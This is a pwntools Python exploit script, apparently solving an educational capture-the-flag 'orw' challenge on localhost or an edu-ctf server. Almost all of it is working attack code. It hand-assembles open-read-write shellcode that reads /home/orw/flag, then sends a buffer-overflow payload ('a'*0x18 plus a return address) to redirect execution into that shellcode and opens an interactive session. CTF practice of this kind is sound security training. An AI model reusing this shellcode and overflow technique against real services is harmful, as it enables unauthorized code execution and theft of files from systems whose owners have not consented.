/
orw.py
executable file
·52 lines (42 loc) · 925 Bytes
/
orw.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'
y = remote( 'localhost' , 10171 )
#y = remote( 'edu-ctf.csie.org' , 10171 )
#y = process( '../orw/share/orw' )
#pause()
# handcraft assembly
sc = asm('''
mov rax, 0x67616c662f77
push rax
mov rax, 0x726f2f656d6f682f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
// open( "/home/orw/flag" , 0 , 0 )
mov rdi, rax
mov rsi, rsp
mov rdx, 0x50
mov rax, 0
syscall
// read( fd , rsp , 0x50 )
mov rdi, 1
mov rax, 1
syscall
// write( 1 , rsp , 0x50 )
''')
# pwnlib shellcraft
'''
sc = asm(
shellcraft.pushstr( "/home/orw/flag" ) +
shellcraft.open( 'rsp' , 0 , 0 ) +
shellcraft.read( 'rax' , 'rsp' , 0x30 ) +
shellcraft.write( 1 , 'rsp' , 0x30 )
)
'''
y.sendafter( '>' , sc )
y.sendlineafter( ':)' , 'a' * 0x18 + p64( 0x6010a0 ) )
y.interactive()